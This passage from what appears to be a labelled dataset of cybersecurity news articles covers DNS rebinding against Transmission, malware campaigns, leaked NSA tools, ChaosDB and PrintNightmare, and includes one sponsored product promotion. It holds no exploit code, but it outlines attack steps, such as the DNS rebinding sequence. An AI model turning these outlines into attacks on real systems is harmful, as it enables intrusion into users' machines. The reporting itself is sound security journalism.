""I'm finding it frustrating that the transmission developers are not responding on their private security list, I suggested moving this into the open so that distributions can apply the patch independently. I suspect they won't reply, but let's see,"" Ormandy said in a public report published Tuesday.

Proof-of-Concept Exploit Made Publicly Available

The PoC attack published by Ormandy exploits a specific Transmission function that lets users control the BitTorrent app with their web browser.

Ormandy confirmed his exploit works on Chrome and Firefox on Windows and Linux (Fedora and Ubuntu) and believes that other browsers and platforms are also vulnerable to the attack.

Transmission BitTorrent app works on server-client architecture, where users have to install a daemon service on their systems in order to access a web-based interface on their browsers locally.

The daemon installed on the user system then interacts with the server for downloading and uploading files through the browser using JSON RPC requests.

Ormandy found that a hacking technique called the ""domain name system rebinding"" attack could successfully exploit this implementation, allowing any malicious website that user visits to execute malicious code on user's computer remotely with the help of installed daemon service.

Here's How the Attack Works:

The loophole resides in the fact that services installed on localhost can be manipulated to interact with third-party websites.
""I regularly encounter users who do not accept that websites can access services on localhost or their intranet,"" Ormandy wrote in a separate post, which includes the patch.
""These users understand that services bound to localhost are only accessible to software running on the local machine and that their browser is running on the local machine—but somehow believe that accessing a website ""transfers"" execution somewhere else. It does not work like that, but this is a common source of confusion.""
Attackers can exploit this loophole by simply creating a DNS name they're authorized to communicate with and then making it resolve to the vulnerable computer's localhost name. Here's how the attack works:

A user visits malicious site (https://attacker.com), which has an iframe to a subdomain controlled by the attacker.
The attacker configures their DNS server to respond alternately with 127.0.0.1 and 123.123.123.123 (an address controlled by the attacker) with a very low TTL.
When the browser resolves to 123.123.123.123, it serves HTML that waits for the DNS entry to expire (or force it to terminate by flooding the cache with lookups), then it has permission to read and set headers.

Ormandy said the vulnerability (CVE-2018-5702) was the ""first of a few remote code execution flaws in various popular torrent clients,"" though he did not name the other torrent apps due to the 90-day disclosure timeline.

A fix is expected to be released as soon as possible, a development official with Transmission told ArsTechnica, without specifying an actual date.

",Vulnerability
Proposed Bill Would Legally Allow Cyber Crime Victims to Hack Back,https://thehackernews.com/2017/03/hacking-back-hackers.html,"Is it wrong to hack back in order to counter hacking attack when you have become a victim? — this has been a long time debate.

While many countries, including the United States, consider hacking back practices as illegal, many security firms and experts believe it as ""a terrible idea"" and officially ""cautions"" victims against it, even if they use it as a part of an active defense strategy.

Accessing a system that does not belong to you or distributing code designed to enable unauthorized access to anyone's system is an illegal practice.

However, this doesn't mean that this practice is not at all performed. In some cases, retribution is part of current defense offerings, and many security firms do occasionally hack the infrastructure of threat groups to unmask several high-profile malware campaigns.

But a new proposed bill intended to amend section 1030 of the Computer Fraud and Abuse Act that would allow victims of ongoing cyber-attacks to fight back against hackers by granting victims more powers to engage in active defense measures to identify the hacker and disrupt the attack.

The new bill has been proposed by Representative Tom Graves of Georgia and is named the ""Active Cyber Defense Certainty"" (ACDC) Act — a term that empowers victims to make use of ""limited defensive measures that exceed the boundaries of one's network"" in order to stop and identify digital attackers.

However, this new bill allowing hacking back attackers is already stirring up some concerns about potential unintended consequences.

Many argue…When we have legal authority to defend ourselves during a physical assault, then why not during a cyber attack by hacking back the attacker?

First of all, cyberspace doesn't work the way the physical world works, as online life moves at digital speeds. In the cyber world, there is a certain sense of helplessness.

Let's understand this by an example: In a home robbery, it is legal to defend your family from the attackers while waiting for the police authorities, since the robbers are in front of you and if you don't defend, a lot can happen in the several minutes in between.

But, if robbers robbed your house and ran away, you ran behind them and caught a person assuming him one of those, but can not actually identify.

What if he is really an innocent person who accidentally stumbled into your hands?

This is the major concern when hacking back targets innocent people, since attribution or identification of an attacker is tough in this cyber-universe.

But if passed, the ACDC Act will allow hacking victims to ""access without authorization the computer of the attacker...to gather information...to establish attribution of criminal activity to share with law enforcement or to disrupt continued unauthorized activity against the victim's own network.""

But What if a Botnet Affected System Used to Attack You?

It's important to note that there are some limitations. The proposed bill specifies that victims can access the attacker's computer without authorization, but to only gather information about their attackers and sharing it with law enforcement.

But, the bill doesn't allow hacking victims to perform activities such as destroying any information stored on the attacker's computer, causing physical damage to another person, or creating a threat that can endanger public health or safety. Well, that's commendable.

The limitation is because today so many compromised computers (botnet) are involved in cyber attacks that a hacking victim could rarely be certain they would be attacking the real attacker rather than an innocent victim.

Even worse, that compromised machine could also belong to a company that stores personal and/or financial information of its customers. So, accessing that data without authorisation would unintentionally compromise the confidentiality of the company's data.
""The first question that comes up with this, assuming you're able to do it, is 'Do you know who it is you would hack back against?'"" said Ed McAndrew, an attorney with Ballard Spahr in Washington, and former federal cybercrime prosecutor.
""This is a real concern. You could have people hacking back at pivots (in an attack). Are you hitting back against an attacker or someone accidentally in the middle?""

Hacking Back is legal in your country, but What about Others Where your Attacker Resides?

This bill grants you authority to hack back, but if your attacker resides in the different country, you could face hacking charges in that nation by violating their law.

So, in this case, you inadvertently become a cyber criminal for that country.

What about the cyber crimes that will take place in the name of Hacking Back?

In the whole discussion, one can not neglect sophisticated hackers, who always found some ways to carry out internet crimes.

Today, when hacking back is illegal under the Computer Fraud and Abuse Act, it's quite easy for anyone to judge who is a criminal and who is a victim.

But, if made legal, Hacking back could provide broad affirmative defenses to hackers who get prosecuted, enabling them to use this law to cover their activity conveniently.
""Whatever you can convince a jury of is what truth is; that's the view of a defense lawyer. The hacker could tell their story that they were doing this activity to aid law enforcement,"" said McAndrew. ""You've got a lot of situations where I could envision a defendant saying they're doing this because they're trying to help law enforcement or assist victims.""
Although the ACDC proposed bill is currently undergoing a phase of public discussion, you have a chance to provide your feedback and make recommendations for the draft law before Rep. Graves formally introduce it to the U.S. House of Representatives.

Here's the draft [PDF] of the proposed ACDC act.

",Cyber_Attack
FixMeStick PRO : Best remote malware remediation product,https://thehackernews.com/2012/12/fixmestick-pro-best-remote-malware.html,"This week Corey and Marty over at FixMeStick shared the specs of their recently released FixMeStick PRO with me. This Pro is the best remote malware remediation product we've seen. It retails for $299.99 per year, or $209.99 for the first 50 'The Hacker News' readers (use coupon code 'THNFIX' for 30% Discount), and can be used an unlimited number of times on an unlimited number of PCs per year. The price is per year because the FixMeStick contains three anti-virus engines licensed from three anti-virus companies keeping three malware definition databases up to date etc...
Finds: Three anti-virus engines working together to find the widest range of infections.
Removes: 'Computer on a stick' architecture provides a separate and clean operating system to fix Windows operating systems.
Delivers: Highest confidence remediation.
Remote Access: Remote access independent of the host operating system, i.e. out-of-band remote management, like a remote access card for PCs.
Easy-to-use
The FixMeStick® is a Linux-based device that runs before Windows boots enabling it to remove infections without the infection being able to block it.
Contains a built-in multi-scanner composed of three anti-virus engines: Kaspersky Lab®, Sophos®, and GFI's VIPRE®.
The technology is integrated behind a single full-screen application (the user can use CTRL-T to launch a terminal).
The FixMeStick is set-up and ready to go right out of the box. No additional installation or downloading is required.
Any user can start with 2 steps: 1- insert key, and 2- double-click ""Run FixMeStick"".
Automatic updates are fetched and stored directly on the FixMeStick.


Easy to support: Any removal operation is 100% reversible with the click of a button.
Systems supported: Any PC; A minimum of 512 MB of RAM.
Bootability: The FixMeStick uses a bootloader menu system to provide multiple boot configuration options, one of which will work on essentially any PC (as of December 2012).
Detection, Cleaning, Quarantine: Three anti-virus scanners provide the super-set of all three scanners's detections. Each scanner is loaded into RAM, and files are fetched from disk once and passed to each scanner in parallel. The result is a scan time on par with desktop ""on-demand"" full system scans. Only if each of the scanners fail to clean an infected file is that file quarantined.
Connectivity: The FixMeStick automatically seeks an Internet connection when it starts. It has built-in Ethernet drivers that support essentially all PC Ethernet hardware. It also contains built-in WiFi drivers that support most PC WiFi hardware. If the FixMeStick is booted from Windows (versus directly from the BIOS) the FixMeStick will automatically use the default WiFi SSID and password active on the Windows operating system (except on Vista). If an auto-connection is not possible the user can select their network from the WiFi picker that is displayed within FixMeStick. Once a connection is established, the FixMeStick downloads program and malware definition updates and stores them on the FixMeStick. The FixMeStick will work without a network connection, but it won't be able to fetch the latest malware definition updates.
Authentication: Each FixMeStick has a unique serial number in its firmware. This serial number identifies the FixMeStick to the FixMeStick Management Server. Each FixMeStick also has a tag etched into its outside. This unique tag maps to the unique serial number in the FixMeStick Management Server. Users identify their specific FixMeStick unit to their solution provider (or FixMeStick technical support) by providing this tag.
Remote Remediation: FixMeStick Management Server has a record of every FixMeStick's usage (for users who have permitted this information retrieval). This usage information includes:
Scan start timestamp
Scan end timestamp
An endpoint identifier (e.g. answers the question ""which PC is this scan from?"")
FixMeStick serial number, tag, and comment (text field that can be written by the solution provider to, for example, identify the primary owner\user of the FixMeStick)
The version of the FixMeStick software
Number of files scanned
Number of files total on the PC
Number of malware found
The name and path to the malware found
Each FixMeStick also contains a TeamViewer® client. The FixMeStick user enters the key-combination ""CTRL-ALT-R"" and the TeamViewer client will display. The user provides the endpoint id and passcode to the solution provider, and the solution provider can remotely login to the FixMeStick, i.e. login to the Ubuntu-based operating system that is FixMeStick, from which they can manage the local device.

If you want to check it out you can go to their website, and contact them directly with any technical questions you may have. Don't forget to use the coupon THNFIX to get the 30% discount on the Pro if you're interested in buying.

",Malware
Emergency Adobe Flash Player patch coming today !,https://thehackernews.com/2011/04/emergency-adobe-flash-player-patch.html,"Emergency Adobe Flash Player patch coming today !

Less than a week after warning that hackers were embedding malicious Flash Player files (.swf) into Microsoft Word documents to launch targeted malware attacks, Adobe plans to release an emergency Flash Player patch today to fix the underlying problem.

The patch will fix a ""critical"" vulnerability in Flash Player 10.2.153.1 and earlier versions for Windows, Mac OS X Linux and Solaris.


According to this Secunia advisory, the flaw allows a hacker to completely hijack a vulnerable Windows computer:
A vulnerability has been reported in Adobe Flash Player, which can be exploited by malicious people to compromise a user's system.


The vulnerability is caused due to an error when parsing ActionScript that adds a custom function to the prototype of a predefined class. This results in incorrect interpretation of an object (i.e. object type confusion) when calling the custom function, which causes an invalid pointer to be dereferenced.

Secunia has posted a technical analysis of the flaw as well.

Adobe has confirmed that the vulnerability (CVE-2011-0611) could cause a crash and potentially allow an attacker to take control of the affected system.

There are reports that this vulnerability is being exploited in the wild in targeted attacks via a malicious Web page or a Flash (.swf) file embedded in a Microsoft Word (.doc) or Microsoft Excel (.xls) file delivered as an email attachment, targeting the Windows platform. At this time, Adobe is not aware of any attacks via PDF targeting Adobe Reader and Acrobat. Adobe Reader X Protected Mode mitigations would prevent an exploit of this kind from executing.

A patch for Google Chrome users is already available in Chrome version 10.0.648.205.

Adobe plans to fix the vulnerability in Adobe Acrobat and Adobe Reader at a later date.

",Malware
OnionDuke APT Malware served through Tor Network,https://thehackernews.com/2014/11/onionduke-apt-malware-served-through_17.html,"The malicious Russian Tor exit node, which was claimed to be patching binary files, is actually distributing a malware program to launch cyber-espionage attacks against European government agencies.

The group behind the rogue Tor exit node had likely been infecting files for more than a year, causing victims to download and install a backdoor file that gave hackers full control of their systems.

Last month Josh Pitts of Leviathan Security Group uncovered a malicious Tor exit node that wraps Windows executable files inside a second, malicious Windows executable. But when Artturi Lehtiö of F-Secure carried out an in-depth research, he found that the exit node was actually linked to the notorious Russian APT family MiniDuke.

""MiniDuke"" previously infected government agencies and organizations in more than 20 countries via a modified Adobe PDF email attachment. MiniDuke malware is written in assembly language with its tiny file size (20KB), and uses hijacked Twitter accounts for Command & Control and incase twitter accounts are not active, the malware located backup control channels via Google searches.
The rogue Russian exit node identified by Pitts was banned from the Tor network, but the new research carried out by F-Secure has revealed that the malicious Tor exit node is specifically being used to plant a new variant of the MiniDuke advanced persistent threat (APT) malware which the researcher has dubbed 'OnionDuke'.

OnionDuke is a completely different malware family, but some of its command and control (C&C) servers were registered by the same miscreant that obtained MiniDuke C&C servers.
""This strongly suggests that although OnionDuke and MiniDuke are two separate families of malware, the actors behind them are connected through the use of shared infrastructure,"" the F-Secure researchers said in a blog post Friday.
The malware has ability to steal login credentials and system information from the machines it infected, along with ability to evade from antivirus. But the main component of the malware is to download additional pieces of malware onto the infected computer.

Besides spreading through the Tor node, the malware also spread through other, undetermined channels. ""During our research, we have also uncovered strong evidence suggesting that OnionDuke has been used in targeted attacks against European government agencies, although we have so far been unable to identify the infection vector(s),"" the F-Secure post stated.
""Interestingly, this would suggest two very different targeting strategies. On one hand is the 'shooting a fly with a cannon' mass-infection strategy through modified binaries and, on the other, the more surgical targeting traditionally associated with APT [advanced persistent threat] operations.""
The rogue Tor node infects uncompressed executable files passing through unencrypted traffic. The researcher said that whenever a victim tries to download a file via the malicious Tor exit node, they actually receive an executable ""wrapper"" that added a second executable. Using a separate wrapper, the miscreants could bypass any integrity checks, might present in the original executable.
""Upon execution, the wrapper will proceed to write to disk and execute the original executable, thereby tricking the user into believing that everything went fine. However, the wrapper will also write to disk and execute the second executable.""
Those users who use Tor anonymity network and download executable from an HTTPS-protected server and those using a virtual private network were not affected by the malware.

Also users who installed only those apps that were digitally signed by the developer would likely be safe. Although no assurance can be guaranteed to the users because it's not difficult for hackers to compromise legitimate signing keys and use them to sign malicious packages.

",Malware
Payment Card Skimmer Group Using Raccoon Info-Stealer to Siphon Off Data,https://thehackernews.com/2020/12/payment-card-skimmer-group-using.html,"A cybercrime group known for targeting e-commerce websites unleashed a ""multi-stage malicious campaign"" earlier this year designed with an intent to distribute information stealers and JavaScript-based payment skimmers.
In a new report published today and shared with The Hacker News, Singapore-based cybersecurity firm Group-IB attributed the operation to the same group that's been linked to a separate attack aimed at online merchants using password-stealing malware to infect their websites with FakeSecurity JavaScript-sniffers (JS-sniffers).
The campaign progressed in four waves, starting in February and ending in September, with the operators relying on specially-crafted phishing pages and lure documents laced with malicious macros to download Vidar and Raccoon information stealers onto victim systems.
The ultimate goal of the attack, the researchers noted, was to steal payment and user data via several attack vectors and tools to deliver the malware.
The fake web pages were created using the Mephistophilus phishing kit, which allows attackers to create and deploy phishing landing pages engineered for distributing malware.
""Attackers sent links to fake pages that informed victims about a missing plugin required to display the document correctly,"" Group-IB researchers explained in an analysis of the cybercrime group's tactics last November. ""If a user downloaded the plugin, their computer was infected with the password-stealing malware.""
While the first wave of the campaign in February and March delivered the Vidar password stealer to intercept passwords from user browsers and various applications, subsequent iterations switched to the Raccoon stealer and AveMaria RAT to meet its objectives.
Raccoon, first documented by Cybereason last year, comes with a wide range of capabilities and communicates with a command-and-control (C2) server to siphon data — including screenshots, credit card information, cryptocurrency wallets, stored browser passwords, emails, and system details.
Raccoon is also unique in that it bypasses the blocking of active C2 servers by making a request to a Telegram channel (""blintick"") in order to receive the encrypted address of the C2 server, besides offering 24×7 customer support to community questions and comments through the chat service.
AveMaria RAT, likewise, is capable of ensuring persistence, recording keystrokes, injecting malicious code, and exfiltrating sensitive files, among others.
Both Vidar and Raccoon are sold as malware-as-a-service (MaaS) on underground forums. The rental price for Vidar stealer ranges from $250 to $300 per month, whereas the latter costs $200 a month to use.
Along with the four stages described above, Group-IB also observed an interim phase between May to September 2020, during when as many as 20 online stores were infected with a modified JS-sniffer of the FakeSecurity family.
Interestingly, the infrastructure used to distribute the Vidar and Raccoon stealers shared similarities with those used to store the sniffer code and collect stolen bank card data, leading the researchers to link the two campaigns.
The development is yet another sign that adversaries are stepping up their efforts to compromise online marketplaces to pilfer customer payment information, even as law enforcement agencies are working to tackle cybercrime.
Earlier this January, the Interpol, acting on digital forensic evidence from Group-IB, nabbed three individuals associated with a group called ""GetBilling"" as part of an operation codenamed Night Fury for running a JS-sniffer campaign in Indonesia.

",Malware
Hackers Install Free SSL Certs from Let's Encrypt On Malicious Web Sites,https://thehackernews.com/2016/01/free-ssl-certificate-malware.html,"Who else didn't see this coming?

It was so obvious as I stressed earlier that the Let's Encrypt free HTTPS certificates would not just help legitimate website operators to encrypt its users' traffic, but also help criminals to bother innocent users with malware through secure sites.

Let's Encrypt allows anyone to obtain free SSL/TLS (Secure Socket Layer/Transport Layer Security) certificates for their web servers that encrypt all the Internet traffic passed between a server and users.

Let's Encrypt is recognized by all major browsers, including Google's Chrome, Mozilla's Firefox and Microsoft's Internet Explorer.

The organization started offering Free HTTPS certs to everyone from last month, and it is very easy for anyone to set up an HTTPS website in a few simple steps (How to Install Free SSL Cert).

However, the most bothersome part is that Let's Encrypt free SSL certs are not only used by website owners to secure its users connection but also abused by cyber criminals to spread malware onto computers.

How Criminals are Abusing Let's Encrypt Certificates?

Researchers from Trend Micro spotted a Malvertising Campaign on Dec. 21 that was installing banking malware on computers and using free SSL certificates issued by the Let's Encrypt to hide its malicious traffic.

Malvertising is a technique of using Web ads to spread malware. By stealthy inserting malicious advertisements on legitimate websites, malware authors can redirect users to malicious sites to deliver malware payload with the help of an exploit kit.

For a long time, malware authors purchased stolen SSL certificates from the underground market and deployed them in their malvertising campaigns. Fortunately, these certificates are eventually caught up and invalidate by their legitimate owners.

However, with the launch of Let's Encrypt free SSL certificates, malware authors don't even have to pay for SSL certificates anymore, and can request one for free instead.

Criminals Delivering Vawtrack Banking Trojan

The malvertising campaign discovered by Trend Micro researchers lasted until December 31 and affected users located mainly in Japan.

People in Japan were delivered malicious ads that redirect them to a malicious website serving up malware over encrypted HTTPS using a Let's Encrypt-issued certificate.

The malicious website used the Angler Exploit Kit in order to infect victims' computers with the nasty Vawtrack banking trojan, which is specially designed to raid their online bank accounts.

Before installing the Let's Encrypt certificate, the attackers behind this campaign compromised an unnamed legitimate web server and set up their own subdomain for the server's website, said Joseph Chen, Fraud Researcher at Trend Micro.

The cyber crooks then installed the Let's Encrypt cert on the compromised server and hosted a malicious advertisement (also contained anti-antivirus code) from that subdomain.

The Actual Cause behind the Abuse of Let's Encrypt Certs
The issue is Let's Encrypt only checks the main domain against the Google's Safe Browsing API to see if a domain for which an SSL certificate is requested has been flagged for malware or phishing.

However, Let's Encrypt never check for shadow domains like in this case in which authors of the malvertising campaign easily requested and got approved for a Let's Encrypt certificate.

Moreover, Let's Encrypt has a policy not to revoke certificates. The organization explained in October that certification authorities are not equipped to police content and certificates issued by them 'say nothing else about a site's content or who runs it'.
""Domain Validation (DV) certificates do not include any information about a website's reputation, real-world identity, or safety.""
However Trend Micro disagrees with this approach, saying, certificate authorities (CAs) ""should be willing to cancel certificates issued to illicit parties that have been abused by various threat actors.""

In other words, there should be some mechanisms to prevent unauthorized certificates registrations for domains as well as their subdomains.

How can You Prevent Yourself From Such Attacks?

Trend Micro has reached out to both the Let's Encrypt project, and the legitimate domain's owner to notify them about the malvertising campaign.

And Here's your take:

Users should be aware that a 'secure' website is not always or necessarily a safe website, and the best defense against exploit kits is still an easy go, i.e.:

Always keep your software up-to-date to minimize the number of vulnerabilities that may be exploited by cyber criminals.

For online advertisement brokers, an approach would be to implement internal controls to stop malicious advertisements.

",Cyber_Attack
Leaked NSA Hacking Tools Being Used to Hack Thousands of Vulnerable Windows PCs,https://thehackernews.com/2017/04/windows-hacking-tools.html,"Script kiddies and online criminals around the world have reportedly started exploiting NSA hacking tools leaked last weekend to compromise hundreds of thousands of vulnerable Windows computers exposed on the Internet.

Last week, the mysterious hacking group known as Shadow Brokers leaked a set of Windows hacking tools targeting Windows XP, Windows Server 2003, Windows 7 and 8, and Windows 2012, allegedly belonged to the NSA's Equation Group.

What's Worse? Microsoft quickly downplayed the security risks by releasing patches for all exploited vulnerabilities, but there are still risks in the wild with unsupported systems as well as with those who haven't yet installed the patches.

Multiple security researchers have performed mass Internet scans over the past few days and found tens of thousands of Windows computers worldwide infected with DoublePulsar, a suspected NSA spying implant, as a result of a free tool released on GitHub for anyone to use.

Security researchers from Switzerland-based security firm Binary Edge performed an Internet scan and detected more than 107,000 Windows computers infected with DoublePulsar.

A separate scan done by Errata Security CEO Rob Graham detected roughly 41,000 infected machines, while another by researchers from Below0day detected more than 30,000 infected machines, a majority of which were located in the United States.

The impact? DoublePulsar is a backdoor used to inject and run malicious code on already infected systems, and is installed using the EternalBlue exploit that targets SMB file-sharing services on Microsoft's Windows XP to Server 2008 R2.

Therefore, to compromise a machine, it must be running a vulnerable version of Windows OS with an SMB service expose to the attacker.

Both DoublePulsar and EternalBlue are suspected as Equation Group tools and are now available for any script kiddie to download and use against vulnerable computers.

Once installed, DoublePulsar used hijacked computers to sling malware, spam online users, and launch further cyber attacks on other victims. To remain stealthy, the backdoor doesn't write any files to the PCs it infects, preventing it from persisting after an infected PC is rebooted.

While Microsoft has already patched majority of the exploited flaws in affected Windows operating systems, those who have not patched are vulnerable to exploits such as EternalBlue, EternalChampion, EternalSynergy, EternalRomance, EmeraldThread, and EducatedScholar.

Moreover, systems that are still using end-of-life platforms like Windows XP, Windows Server 2003, and IIS 6.0, which no longer received security updates, are also vulnerable to the in-the-wild exploits.

Since it takes hackers roughly a few hours to download the Shadow Brokers dump, scan the Internet with the tool released on Monday, and deliver hacking exploits, researchers are expecting more vulnerable and unpatched computers to fall victims to DoublePulsar.

After this news had broken, Microsoft officials released a statement saying: ""We doubt the accuracy of the reports and are investigating.""

Meanwhile, Windows users who haven't applied MS17-010 by now are strongly advised to download and deploy the patches as soon as possible.

",Cyber_Attack
Critical Cosmos Database Flaw Affected Thousands of Microsoft Azure Customers,https://thehackernews.com/2021/08/critical-cosmos-database-flaw-affected.html,"Cloud infrastructure security company Wiz on Thursday revealed details of a now-fixed Azure Cosmos database vulnerability that could have been potentially exploited to grant any Azure user full admin access to other customers' database instances without any authorization.
The flaw, which grants read, write, and delete privileges, has been dubbed ""ChaosDB,"" with Wiz researchers noting that ""the vulnerability has a trivial exploit that doesn't require any previous access to the target environment, and impacts thousands of organizations, including numerous Fortune 500 companies.""
Cosmos DB is Microsoft's proprietary NoSQL database that's advertised as ""a fully managed service"" that ""takes database administration off your hands with automatic management, updates and patching.""
The Wiz Research Team reported the issue to Microsoft on August 12, after which the Windows maker took steps to mitigate the issue within 48 hours of responsible disclosure, in addition to awarding a $40,000 bounty to the finders on August 17.
""We have no indication that external entities outside the researcher had access to the primary read-write key associated with your Azure Cosmos DB account(s),"" Microsoft said in a statement. ""In addition, we are not aware of any data access because of this vulnerability. Azure Cosmos DB accounts with a vNET or firewall enabled are protected by additional security mechanisms that prevent risk of unauthorized access.""
The exploit identified by Wiz concerns a chain of vulnerabilities in the Jupyter Notebook feature of Cosmos DB, enabling an adversary to obtain the credentials corresponding to the target Cosmos DB account, including the Primary Key, which provides access to the administrative resources for the database account.
""Using these credentials, it is possible to view, modify, and delete data in the target Cosmos DB account via multiple channels,"" the researchers said. As a consequence, any Cosmos DB asset that has the Jupyter Notebook feature enabled is potentially impacted.
Although Microsoft notified over 30% of Cosmos DB customers about the potential security breach, Wiz expects the actual number to be much higher, given that the vulnerability has been exploitable for months.
""Every Cosmos DB customer should assume they've been exposed,"" Wiz researchers noted, adding, ""we also recommend reviewing all past activity in your Cosmos DB account."" Additionally, Microsoft is also urging its customers to regenerate their Cosmos DB Primary Keys to mitigate any risk arising from the flaw.

",Data_Breaches
Etsy for iPhone loophole allows attacker to hijack Accounts,https://thehackernews.com/2012/12/etsy-for-iphone-loophole-allows.html,"Mohamed Ramadan from Attack-Secure discovered a critical vulnerability in Etsy's iPhone application. Etsy is a social commerce website focused on handmade or vintage items as well as art and craft supplies.

Any attacker on the same network can sniff traffic (including user password) invisibly without any warning from Etsy app. Its is very similar to the man in the middle attack reported in iPhone Instagram app a few days back.


Bug Hunting !
Because Etsy having a Security Bug Bounty Program , so first Mohamed was trying to find a vulnerability in Etsy website , later he found that they have enough good security. Because Etsy mobile apps are eligible in bug bounty program, so next try was on Mobile apps.

Mohamed finally downloaded the latest version 2.2 and installed that on his iPhone 4S with iOS 6 and also on his ipad. Then he configured his Burp Suite proxy 1.5 to listen on all interfaces on port 8080 in invisible mode. He disabled any firewall and configured his iPhone to use manual proxy.

He logged in his Etsy account from iPhone and Burp Suite proxy captured the requests with respective username & password , which was actually sent in clear text.

Mohamed already reported the issue to Etsy Security Team and they confirmed it. Because the findings are eligible to bug bounty, finally he was rewarded with 750 USD. He name also listed on Etsy as Whitehat hackers.

Readers can download Video of Demonstration here.

",Vulnerability
Hackers Stole Over $20 Million in Ethereum from Insecurely Configured Clients,https://thehackernews.com/2018/06/ethereum-geth-hacking.html,"Security researchers have been warning about cybercriminals who have made over 20 million dollars in just past few months by hijacking insecurely configured Ethereum nodes exposed on the Internet.

Qihoo 360 Netlab in March tweeted about a group of cybercriminals who were scanning the Internet for port 8545 to find insecure geth clients running Ethereum nodes and, at that time, stole 3.96234 units of Ethereum cryptocurrency (Ether).

However, researchers now noticed that another cybercriminal group have managed to steal a total 38,642 Ether, worth more than $20,500,000 at the time of writing, in past few months by hijacking Ethereum wallets of users who had opened their JSON-RPC port 8545 to the outside world.

Geth is one of the most popular clients for running Ethereum node and enabling JSON-RPC interface on it allows users to remotely access the Ethereum blockchain and node functionalities, including the ability to send transactions from any account which has been unlocked before sending a transaction and will stay unlocked for the entire session.
Here's the attackers' Ethereum account address, where all the stolen funds have been collected:

0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464

By simply searching this address on the Internet, we found dozens of forums and websites where users have posted details of similar incidents happened with them, describing about the same account address hackers used to stole their funds from the insecurely configured Ethereum nodes.

According to an advisory issued by Ethereum Project three years ago, leaving the JSON-RPC interface on an internet-accessible machine without a firewall policy opens up your cryptocurrency wallet to theft ""by anybody who knows your [wallet] address in combination with your IP.""

NetLab researchers warned that not only the above-mentioned cybercriminal group but other attackers are also actively scanning the Internet for insecure JSON-RPC interface to steal funds from cryptocurrency wallets.
""If you have honeypot running on port 8545, you should be able to see the requests in the payload. Which has the wallet addresses. And there are quite a few ips scanning heavily on this port now,"" 360 Netlab tweeted.
Users who have implemented Ethereum nodes are advised only to allow connections to the geth client originating from the local computer, or to implement user-authorization if remote RPC connections need to be enabled.

",Cyber_Attack
Someone Just Tried to Take Down Internet's Backbone with 5 Million Queries/Sec,https://thehackernews.com/2015/12/dns-root-servers-ddos-attack.html,"Someone just DDoSed one of the most critical organs of the Internet anatomy – The Internet's DNS Root Servers.

Early last week, a flood of as many as 5 Million queries per second hit many of the Internet's DNS (Domain Name System) Root Servers that act as the authoritative reference for mapping domain names to IP addresses and are a total of 13 in numbers.

The attack, commonly known as Distributed Denial of Service (DDoS) attack, took place on two separate occasions.

The first DDoS attack to the Internet's backbone root servers launched on November 30 that lasted 160 minutes (almost 3 hours), and the second one started on December 1 that lasted almost an hour.

Massive Attacks Knocked Many of the 13 Root Servers Offline

The DDoS attack was able to knock 3 out of the 13 DNS root servers of the Internet offline for a couple of hours.

Also Read: Secure Email Service Paid Hackers $6000 Ransom to Stop DDoS Attacks.

The request queries fired at the servers were valid DNS messages addressed towards a single domain name in the first DDoS attack, and the second day's DDoS attack addressed towards a different domain name.

According to the analysis published by the root server operators on Tuesday, each attack fired up to 5 million queries/second per DNS root name server that was enough to flood the network and cause timeouts on the B, C, G, and H root servers.

There is no indication of who or what was behind the large-scale DDoS attacks because the source IP addresses used in the attacks were very well distributed and randomized across the entire IPv4 address space.

Interesting Read: Record-breaking 1Tbps Speed achieved Over 5G Mobile Connection.

However, the DDoS attacks did not cause any serious damage to the Internet, but a mere delay for some of the Internet users who made DNS queries through their web browser, FTP, SSH, or other clients.

This Smart Design Defends DNS Protocol Infrastructure

The motive for such attacks is still unclear because disabling or knocking down a root server won't have a severe impact on the Internet as there are several thousand of other DNS servers managing DNS queries.
""The DNS Root Name Server system functioned as [it's] designed, demonstrating overall robustness in the face of [massive] traffic floods observed at numerous DNS Root Name Servers,"" Root Server Operators says (PDF), referring to the backup system employed by DNS servers.
Like the Internet, DNS is constructed on a mesh-like structure, so if one server doesn't respond to a request, other servers step in and provide a DNS query result.

According to the DNS root server operators, the attack was not the result of a reflective DDoS attack in which open and misconfigured DNS is used to launch high-bandwidth DDoS attacks on the target.

Recommended Read: Over 20Gbps DDoS attacks Now Become Common for Hackers.

Despite all the facts, any attack on the critical infrastructure of the Internet is taken extremely seriously.

The DNS root server operators recommended the Internet Service Providers (ISPs) to implement Source Address Validation and BCP 38, an Internet Engineering Task Force standard that helps defeat IP address spoofing.

",Cyber_Attack
Researcher Uncovers Yet Another Unpatched Windows Printer Spooler Vulnerability,https://thehackernews.com/2021/07/researcher-uncover-yet-another.html,"Merely days after Microsoft sounded the alarm on an unpatched security vulnerability in the Windows Print Spooler service, possibly yet another zero-day flaw in the same component has come to light, making it the fourth printer-related shortcoming to be discovered in recent weeks.
""Microsoft Windows allows for non-admin users to be able to install printer drivers via Point and Print,"" CERT Coordination Center's Will Dormann said in an advisory published Sunday. ""Printers installed via this technique also install queue-specific files, which can be arbitrary libraries to be loaded by the privileged Windows Print Spooler process.""
An exploit for the vulnerability was disclosed by security researcher and Mimikatz creator Benjamin Delpy.
#printnightmare - Episode 4

You know what is better than a Legit Kiwi Printer ?
🥝Another Legit Kiwi Printer...👍

No prerequiste at all, you even don't need to sign drivers/package🤪 pic.twitter.com/oInb5jm3tE
— 🥝 Benjamin Delpy (@gentilkiwi) July 16, 2021
Specifically, the flaw allows a threat actor to execute arbitrary code with SYSTEM privileges on a vulnerable Windows machine by connecting to a malicious print server under their control.
While there is no solution to the problem, CERT/CC recommends configuring ""PackagePointAndPrintServerList"" to prevent the installation of printers from arbitrary servers and blocking outbound SMB traffic at the network boundary, given that public exploits for the vulnerability utilize SMB for connectivity to a malicious shared printer.
The new issue is only the latest evidence of the fallout after the PrintNightmare flaw accidentally became public last month, leading to the discovery of a number of vulnerabilities affecting the Print Spooler service.
Given the lack of details surrounding CVE-2021-34481 — the local privilege escalation (LPE) flaw reported by security researcher Jacob Baines — it's not immediately clear what connection, if any, the vulnerability and this new Print Spooler signature-check bypass that also allows for LPE may have with one another.
When reached for a response, a Microsoft spokesperson told The Hacker News that ""we are investigating reports and will take appropriate action as needed to help keep customers protected.""

",Vulnerability
"Smartphones, A Perfect Cyber Espionage and Surveillance Weapon",https://thehackernews.com/2013/11/smartphones-perfect-cyber-espionage.html,"The use of mobile devices in government environments concerns the secret service of any states, cyber espionage more often exploits the mobile platforms.

